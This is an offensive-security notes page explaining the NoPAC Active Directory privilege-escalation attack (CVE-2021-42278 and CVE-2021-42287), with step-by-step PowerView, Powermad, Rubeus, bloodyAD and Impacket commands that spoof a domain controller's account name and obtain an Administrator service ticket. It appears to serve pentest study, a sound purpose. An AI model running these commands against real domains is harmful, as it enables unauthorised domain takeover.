🦦
Otter's Notes
  • Introduction
  • Articles
    • Dumping data from the Microsoft Recall folder
    • Gaining persistence on Windows with Time Providers
    • Reverse engineering LSASS to decrypt DPAPI keys
    • Intro to Hypervisor Implants
    • In-depth Windows Telemetry
  • Notes
    • Active Directory
      • Active Directory Structure
      • Active Directory Terminology
      • Active Directory Objects
      • Active Directory Groups
      • Active Directory Functionality
      • Active Directory Protocols
      • Active Directory Rights and Privileges
      • Security in Active Directory
      • Users and Machine Accounts
      • NTLM
      • LDAP
      • Making a Target User List
      • Enumerating & Retrieving Password Policies
      • Enumerating Security Controls
      • Examining Group Policy
      • GPOs
      • LAPS
      • LLMNR & NBT-NS Poisoning
      • LOLBIN Enumeration
    • AAD
      • Useful Links
      • Overview of Azure & M365
      • Enumerate Users and Domains
      • Post-exploitation Reconnaissance
      • OAuth 2.0 Abuse
      • Abusing Device Code Authentication
      • Abusing Cloud Administrator Role
      • Abusing User Administrator Role
      • AAD Federated Backdoor
      • Service Principal Abuse
      • Compromising Azure Blobs and Storage Accounts
      • Malicious Device Join
      • Disabling Auditing (Unified Audit Logs)
      • Spoofing Azure Sign-In Logs
      • Registering Fake Agents for Log Spoofing
      • Pass the PRT
      • Pass the Cookie
      • Abusing Managed Identities
      • Virtual Machine Abuse
      • Attacking Key Vaults
    • Forest Trust Abuse
      • Parent-Child Trust Abuse
      • One-Way Inbound Trust Abuse
      • Foreign Group Membership
      • Foreign ACL Principals
      • SID History
      • SID Filter Bypass
      • Intra-Forest Attacks
        • Configuration Naming Context Replication
        • ADCS NC Replication Attack
        • GPO On-Site Attack
        • GoldenGMSA Attack
        • DNS Trust Attack
      • Cross-Forest Attacks
        • Trust Account Attack
        • Abusing SQL Linked Servers
        • Abusing PAM Trusts
    • Kerberos
      • Overview of Kerberos Authentication
      • Silver Tickets
      • Golden Tickets
      • Diamond Tickets
      • Kerberoasting
      • AS-REPRoasting
      • Resource-Based Constrained Delegation
      • Constrained Delegation
      • Unconstrained Delegation
      • S4U2Self & S4U2Proxy
      • Golden Certificates
    • DACL Abuse
      • DACL Overview
      • DACLs Enumeration
      • AddMembers
      • GPO Attacks
      • Granting Rights and Ownership
      • Logon Scripts
      • NoPAC
      • Password Abuse
      • SPN Jacking
      • Shadow Credentials
      • Targeted Kerberoasting
    • ADCS
      • Introduction to ADCS
      • ESC1
      • ESC2
      • ESC3
      • ESC4
      • ESC5
      • ESC6
      • ESC7
      • ESC8
      • ESC9
      • ESC10
      • ESC11
      • Certificate Mapping
    • PowerShell
      • PowerShell Basics
      • PowerShell Remoting
      • Alternate PowerShell Hosts
      • PowerShell Pipeline Runners
      • PowerShell Code Signing
      • Scriptblock Logging
      • PowerShell CLM
      • AMSI
      • PowerShell Reflection
      • WMI - Windows Management Instrumentation
      • Interfacing with AD
      • PowerShell Snippets
        • Bypass application whitelisting and CLM with runscripthelper and WMI
        • Create fake PowerShell logs
        • Enumerate AD ACLs
        • Enumerate WMI events
        • Enumerate Domain Trusts
        • Enumerate change metadata
        • Enumerate non-signed service binaries
        • Enumerate with GPOs
        • Find signed alternate PowerShell hosts
        • Get AMSI module
        • Group processes by user with WMI
        • Hide processes from Get-Process
        • Malware re-purposing with PowerShell reflection
        • Monitor PowerShell hosts with WMI
        • PowerShell reflection offensive use-case
        • Query PowerShell alternative hosts with WMI
        • Retrieve file certificate
        • Search LDAP for misconfigurations
        • Sign custom code with PowerShell
        • WMI service creation
        • Weak folder permission enumeration
    • AWS
      • AWS Organizations
      • AWS Principals
    • Binary Exploitation
      • Environment setup for Browser Exploitation
      • Browser Overview and Components
    • Kernel Development
      • Windows
        • Configuring a VM for driver development
Powered by GitBook
On this page
  1. Notes
  2. DACL Abuse

NoPAC

PreviousLogon ScriptsNextPassword Abuse

Last updated 8 months ago

The NoPAC attack, commonly associated with the vulnerabilities and , refers to a method where a Domain User can perform privilege escalation and impersonate any privilege account through what is known as sAMAccountName Spoofing.

The attack starts with , which exploits the lack of restrictions on modifications to the sAMAccountName attribute in Active Directory. By default, Windows Active Directory does not enforce strict validation of this attribute, particularly ensuring that computer account names end with a $ sign to distinguish them from user accounts. When we have sufficient permissions on a machine account, we can change the sAMAccountName of that account to the name of a domain controller without the $. This modification sets up the scenario for impersonating a domain controller.

After changing the sAMAccountName to a domain controller's name (without the trailing $), we can exploit . This vulnerability lies within the Key Distribution Center. The KDC is tricked during the Service Ticket request phase. When a Service Ticket is requested for a non-existent account, the KDC will append a $ and search again.

The exploitation process makes use of this behavior. We request a Ticket Granting Ticket (TGT) using the modified sAMAccountName, and then request a Service Ticket, the KDC fails to find the account and appends a $ sign, unintentionally matching the legitimate domain controller's account, and finally we get a Service Ticket with the domain controller's privileges.

PAC

The Privilege Attribute Certificate (PAC) is a data structure used in within Windows environments. It contains important information about the user's identity and group memberships, which are used by services to enforce access control decisions.

When a user requests a TGT from the KDC, the KDC includes a PAC in the TGT. This PAC is later used by services to determine the user's permissions when accessing resources.

A PAC contains several critical pieces of information:

  • User SID (Security Identifier): A unique identifier for the user.

  • Group SIDs: Identifiers for the groups to which the user belongs.

  • User Rights: Information about the user's privileges.

  • Logon Information: Details about the user's logon session, such as the logon time.

The presence of a PAC in Kerberos tickets is essential for the correct functioning of access control in Windows domains. If a Domain Controller returns a TGT without a PAC (as in the case of NoPAC vulnerability), it can lead to security issues where access controls are bypassed or improperly enforced.

To enumerate this from windows we can us the binary

.\noPac.exe scan -domain inlanefreight.local -user aneudy -pass Ilovemusic01

or the

python3 noPac/scanner.py -dc-ip 10.10.10.10 domain.com/otter:'SomethingSecure123!' -use-ldap
Import-Module .\PowerView.ps1
$computerName = 'OTTR'
$computer = Get-DomainComputer -Identity $computerName -Properties 'ms-DS-CreatorSID'
$sid = (New-Object System.Security.Principal.SecurityIdentifier($computer.'ms-DS-CreatorSID', 0)).Value
ConvertFrom-SID $sid
$computers = Get-DomainComputer -Filter '(ms-DS-CreatorSID=*)' -Properties name,ms-ds-creatorsid
$userComputers = $computers | where { (New-Object System.Security.Principal.SecurityIdentifier($_."ms-ds-creatorsid",0)).Value -eq (ConvertTo-SID otter) }
$userComputers.Count

The flow of the attack from windows is the following:

  1. Create a computer account called TEST

Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString 'SomethingSecure123!' -AsPlainText -Force
New-MachineAccount -MachineAccount "TEST" -Password $($password) -Domain domain.com -DomainController 172.18.10.10 -Verbose
  1. Clear the SPN attributes of the new computer account TEST

Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'TEST$' -Clear 'serviceprincipalname' -Domain domain.com -DomainController 172.18.10.10 -Verbose
  1. Abuse CVE-2021-42278 and modify the sAMAccountName of the computer TEST to match the Domain Controller without $

Set-MachineAccountAttribute -MachineAccount "TEST" -Value "dc" -Attribute samaccountname -Domain domain.com -DomainController 172.18.10.10 -Verbose
  1. Request a TGT for TEST with its credentials

.\Rubeus.exe asktgt /user:dc /password:"SomethingSecure123!" /domain:domain.com /dc:172.18.10.10 /nowrap
  1. Revert TEST sAMAccountName to its original value

Set-MachineAccountAttribute -MachineAccount "TEST" -Value "TEST" -Attribute samaccountname -Domain domain.com -DomainController 172.18.10.10 -Verbose
  1. Abuse CVE-2021-42287 and request a service ticket with S4U2self using TEST TGT

.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:"ldap/dc.domain.com" /dc:172.18.10.10 /ptt /ticket:<TICKET>

From linux we can just use bloodyAD to perform the attack but instead of creating a new machine account we will do the attack with a user account we have GenericAll over:

  1. Clear the SPN attributes of the user account

bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object anotherUser servicePrincipalName
  1. Abuse CVE-2021-42278 and modify the sAMAccountName of the user to match the Domain Controller without $

bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object anotherUser sAMAccountName -v DC
  1. Request a TGT for the user with its credentials

getTGT.py domain.com/dc:'SomethingSecure123!' -dc-ip 10.10.10.10
  1. Revert the user's sAMAccountName to its original value

bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object DC sAMAccountName -v anotherUser
# or
bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object "CN=anotherUser,CN=Users,DC=domain,DC=com" sAMAccountName -v anotherUser
  1. Abuse CVE-2021-42287 and request a service ticket with S4U2self using the user's TGT

export KRB5CCNAME=dc03.ccache
getST.py domain.com/dc -self -impersonate 'Administrator' -altservice 'cifs/dc.domain.com' -k -no-pass -dc-ip 10.10.10.10

The next step is getting the MAQ of the user we own - if we want to query the specific number of machines an account has already joined to the domain, we can also use PowerView to query every machine and find its attribute

Just like in the case of , if the MAQ of the user is 0, we can use one of the existing machine accounts created by the user but we have to own it first.

CVE-2021-42278
CVE-2021-42287
CVE-2021-42278
CVE-2021-42287
Kerberos authentication
noPAC
linux version
ms-DS-CreatorSID
Resource-Based Constrained Delegation